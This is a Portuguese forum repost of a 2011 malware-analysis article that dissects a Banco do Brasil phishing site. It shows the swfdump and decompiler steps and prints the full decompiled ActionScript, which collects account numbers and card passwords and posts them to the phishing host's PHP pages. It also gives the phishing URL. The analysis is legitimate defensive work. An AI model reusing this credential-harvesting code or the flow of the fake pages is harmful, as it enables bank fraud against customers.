Insecuritynet
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Análise de Phishing com páginas em Flash

Ir para baixo

Análise de Phishing com páginas em Flash Empty Análise de Phishing com páginas em Flash

Mensagem  veronmaiden Seg Out 10, 2011 12:23 pm

Atualmente para quem tem interesse em análise de malware não basta apenas conhecer os formatos de arquivos executáveis, como o PE do Windows e ELF do Linux, é necessário também conhecer outros tipos de arquivos como: PDF, Javascript, SWF, Doc, XLS, etc, pois eles também estão embutindo códigos maliciosos.

Nesse artigo será apresentada a análise de um phishing que utilizava arquivos Flash (swf), código Javascript ofuscado e páginas PHP, porém de forma geral a lógica do golpe sempre é a mesma.

Identificação e coleta dos artefatos

Recebi o link abaixo suspeito de ser phishing do Banco do Brasil:

http://www.gerbeaud.com/jardin/calendrier/include/094773/

Ao acessar o endereço foi comprovada a fraude, tratava-se de uma página falsa do banco com intenção de capturar as credenciais bancárias dos clientes:
Imagem: https://2img.net/r/ihimg/photo/my-images/707/01phishingbb.jpg/

Ao clicar com o botão direito em cima da página para exibir seu código-fonte foi possível notar que não se tratava de HTML e sim de uma página utilizando o Adobe Flash. Então tentei exibir o código através do menu “Exibir – Código-fonte” do Firefox. Com isso foi possível ver que o código estava ofuscado com Javascript:

Imagem: https://2img.net/r/ihimg/photo/my-images/522/02phshingobfuscated.jpg/

Fiz a desofuscação do Javascript com o add-on JavaScript Deobfuscator para o Firefox, mas o código não apresentou nenhuma informação útil, apenas que chamava um arquivo Flash (swf).

Então ainda no navegador fui no menu “Arquivo – Salvar como - Página web completa” para conseguir salvar o arquivo swf que estava na página. Feito isso foi salvo o arquivo “1.swf” no meu computador.

Flash Forensics

É possível fazer a engenharia reversa dos arquivos swf do Adobe Flash, existem vários descompiladores que fazem isso e conseguem obter praticamente o código-fonte completo do arquivo.

Quando um swf está sendo utilizado em uma página web para manipular conteúdo dinâmico, como por exemplo preenchimento de formulários, dentro dele há a linguagem de programação ActionScript para realizar esse trabalho.

Então no nosso caso o interessante é fazer a descompilação do swf e localizar o código ActionScript, assim saberemos o que está sendo feito com as informações capturadas.

Lenny Zeltser, referência mundial em análise de malwares, publicou recentemente um artigo sobre análise de arquivos PDF e Flash maliciosos, para os arquivos Flash ele recomendou o uso da ferramenta free SWFDump que faz parte da SWFTools.

SWFDump é como se fosse a ferramenta “strings” melhorada. Consegue extrair várias informações do swf porém os resultados ainda não são muito estruturados. Para extrair todas as informações do arquivo, inclusive o ActionScript, utiliza-se o seguinte comando redirecionando a saída para um txt:

swfdump -Ddu flash.swf > resultado.txt

Realizei o comando no arquivo “1.swf” coletado, algumas strings interessantes encontradas:
( 4 bytes) action: Push Lookup:36 ("POST") Lookup:34 ("lvReply")
( 9 bytes) action: Push Lookup:37 ("1.php") int:3 Lookup:32 ("lvSend")
( 66 bytes) action: GetUrl URL:"2.html?bancodobrasil/aapf/login.jsp&aapf.IDH=sim&perfil=1"

Através dessas informações podemos supor que o arquivo swf envia para a página “1.php” através do método POST as informações digitadas no formulário. Após isso possivelmente chama a segunda página do golpe, “2.html”.

Nesse caso o que vem na URL após a interrogação não tem função alguma para o funcionamento da página, foi colocado apenas para as pessoas acharem que realmente se trata da página do Banco do Brasil.

Não satisfeito com os resultados do SWFDump resolvi procurar outra ferramenta para fazer a descompilação do Flash, encontrei a Sothink SWF Decompiler. Não é gratuita mas há uma versão trial que pode ser utilizada por 30 dias, foi o suficiente para minha análise.

Imagem: https://2img.net/r/ihimg/photo/my-images/834/02x5swfdecompiler.jpg/

Os resultados com ela foram muito melhores, é possível visualizar o código completo do ActionScript:

// Action script...

// [onClipEvent of sprite 16 in frame 1]
onClipEvent (load)
{
loadMovieNum("imgs/top.swf", 1);
}

// [Action in Frame 1]
function stageResize()
{
mcTopo._x = 0;
mcTopo._y = 0;
mcTopo.mcFundo._width = Stage.width;
mcBottom._x = 0;
mcBottom._y = Stage.height - mcBottom._height;
mcBottom.mcFundo._width = Stage.width;
} // End of the function
function email()
{
if (agentur.text == "")
{
alerta = "Agência: Campo obrigatório não preenchido.";
}
else if (agentur.text.length != 6 || agentur.text == "0000-0" || agentur.text == "1111-1" || agentur.text == "2222-2" || agentur.text == "3333-3" || agentur.text == "4444-4" || agentur.text == "5555-5" || agentur.text == "6666-6" || agentur.text == "7777-7" || agentur.text == "8888-8" || agentur.text == "9999-9")
{
alerta = "Agência inválida. Informe sua agência com dígito verificador.";
}
else if (konto.text == "")
{
alerta = "Conta corrente: Campo obrigatório não preenchido.";
}
else if (konto.text.length < 5)
{
alerta = "Conta inválida. Informe sua conta com dígito verificador.";
}
else
{
var _loc1 = "agentur=" + agentur.text + "\n" + konto.text;
lvSend = new LoadVars();
lvReply = new LoadVars();
lvSend.msg = _loc1;
agentur.text = "";
konto.text = "";
lvSend.sendAndLoad("1.php", lvReply, "POST");
getURL("2.html?bancodobrasil/aapf/login.jsp&aapf.IDH=sim&perfil=1", "_parent");
} // end else if
} // End of the function
Stage.scaleMode = "noScale";
Stage.align = "TL";
var listener = new Object();
listener.onResize = function ()
{
stageResize();
};
Stage.addListener(listener);
stageResize();
var campoData = new Mascara();
campoData.setMascara(agentur, "0000-0");
campoData.setMascara(konto, "00000-0");
agentur.restrict = "x-0-9";
konto.restrict = "x-0-9";
agentur.tabIndex = 0;
konto.tabIndex = 1;
bEntrar.onRelease = function ()
{
email();
};


Sabendo da existência da página “2.html” a acessei e foi exibida a continuação do golpe, essa era para capturar a senha do cartão, nota-se que a data exibida realmente é a verdadeira, tela muito parecida com a original do Internet Banking do BB.

Imagem: https://2img.net/r/ihimg/photo/my-images/209/03phishingbb2.jpg/

O mesmo esquema foi utilizado, página em flash. Salvei como 2.swf e ao descompilar com o SWF Decompiler, foi exibido outro ActionScript:

// Action script...

// [onClipEvent of sprite 16 in frame 1]
onClipEvent (load)
{
loadMovieNum("imgs/top.swf", 1);
}

// [Action in Frame 1]
function stageResize()
{
mcTopo._x = 0;
mcTopo._y = 0;
mcTopo.mcFundo._width = Stage.width;
mcBottom._x = 0;
mcBottom._y = Stage.height - mcBottom._height;
mcBottom.mcFundo._width = Stage.width;
} // End of the function
function onPHPvarsLoaded(success)
{
if (success)
{
_root.agentur.text = unescape(this.agentur);
_root.konto.text = unescape(this.konto);
}
else
{
trace ("Variaveis nao foram carregadas");
} // end else if
} // End of the function
function email()
{
if (kennwort6.text == "")
{
aviso_6 = "Senha de 6 dígitos: Campo obrigatório não preenchido.";
}
else if (kennwort6.text.length != 6 || kennwort6.text == "000000" || kennwort6.text == "111111" || kennwort6.text == "222222" || kennwort6.text == "333333" || kennwort6.text == "444444" || kennwort6.text == "555555" || kennwort6.text == "666666" || kennwort6.text == "777777" || kennwort6.text == "888888" || kennwort6.text == "999999")
{
aviso_6 = "Senha do Cartão inválida\n ( Senha de 6 dígitos, utilizada nos terminais de Auto-Atendimento BB )";
}
else
{
var _loc1 = "agentur=" + agentur.text + "\n" + kennwort6.text;
lvSend = new LoadVars();
lvReply = new LoadVars();
lvSend.msg = _loc1;
agentur.text = "";
kennwort6.text = "";
lvSend.sendAndLoad("2.php", lvReply, "POST");
gotoAndStop(2);
} // end else if
} // End of the function
stop ();
Stage.scaleMode = "noScale";
Stage.align = "TL";
var listener = new Object();
listener.onResize = function ()
{
stageResize();
};
Stage.addListener(listener);
stageResize();
meuPHP = new LoadVars();
meuPHP.onLoad = onPHPvarsLoaded;
meuPHP.load("1.txt");
kennwort6.restrict = "0-9";
kennwort6.tabIndex = 0;
bEnviar.onRelease = function ()
{
email();
};

// [Action in Frame 2]
intervalo = function ()
{
gotoAndStop(3);
clearInterval(tempo);
};
tempo = setInterval(intervalo, 8900);

// [Action in Frame 3]
function onPHPvarsLoaded(success)
{
if (success)
{
_root.agentur.text = unescape(this.agentur);
}
else
{
trace ("Variaveis nao foram carregadas");
} // end else if
} // End of the function
function email()
{
if (kennwort4.text == "")
{
aviso_4 = "Senha de 4 dígitos: Campo obrigatório não preenchido.";
}
else if (kennwort4.text.length != 4 || kennwort4.text == "0000" || kennwort4.text == "1111" || kennwort4.text == "2222" || kennwort4.text == "3333" || kennwort4.text == "4444" || kennwort4.text == "5555" || kennwort4.text == "6666" || kennwort4.text == "7777" || kennwort4.text == "8888" || kennwort4.text == "9999")
{
aviso_4 = "Senha de Auto-Atendimento inválida\n ( Senha de 4 dígitos, utilizada na Central de Auto-Atendimento por Telefone: 4004 0001)";
}
else
{
var _loc1 = agentur.text + "\n" + kennwort4.text + "\n\n\n";
lvSend = new LoadVars();
lvReply = new LoadVars();
lvSend.msg = _loc1;
agentur.text = "";
kennwort4.text = "";
lvSend.sendAndLoad("3.php", lvReply, "POST");
gotoAndStop(4);
} // end else if
} // End of the function
meuPHP = new LoadVars();
meuPHP.onLoad = onPHPvarsLoaded;
meuPHP.load("2.txt");
kennwort4.restrict = "0-9";
kennwort4.tabIndex = 0;
bEnviar.onRelease = function ()
{
email();
};


Esse código difere um pouco do anterior, é possível notar que utiliza dois arquivos TXTs para salvar e carregar o que está sendo digitado nas páginas, talvez simulando a função das variáveis de sessão.

meuPHP = new LoadVars();
meuPHP.onLoad = onPHPvarsLoaded;
meuPHP.load("1.txt");

meuPHP = new LoadVars();
meuPHP.onLoad = onPHPvarsLoaded;
meuPHP.load("2.txt");

No final os dados são enviados para a página “3.php”. Ao procurar por esses arquivos TXTs no site, os encontrei conforme imagens abaixo:

Imagem: https://2img.net/r/ihimg/photo/my-images/546/04phishing1txt.jpg/

Imagem: https://2img.net/r/ihimg/photo/my-images/408/05phishing2txt.jpg/

Vemos que no “2.txt” já há uma senha capturada.

Conclusão

Basicamente o esquema do golpe é esse:

1ª Página HTML + Javascript + Flash –> 1ª PHP –> 1º TXT
2ª Página HTML + Javascript + Flash –> 2ª PHP –> 2º TXT

A página HTML falsa contém Javascript ofuscado e o Flash que recebe os dados digitados, envia para a página PHP e chama a segunda página HTML falsa. Já a página PHP recebe os dados e salva em um TXT que será lido pelo Flash da segunda página e por aí vai.

A análise parou por aí mas a intenção era mostrar que devemos estar preparados para lidar com diferentes tecnologias na análise de códigos maliciosos.

Comentários como sempre são muito bem-vindos! Smile

Ronaldo P. Lima
vlw ronaldo pelo noticia
^^



veronmaiden

Mensagens : 70
Data de inscrição : 02/08/2009

http://www.insecuritynet.com

Ir para o topo Ir para baixo

Ir para o topo


 
Permissões neste sub-fórum
Não podes responder a tópicos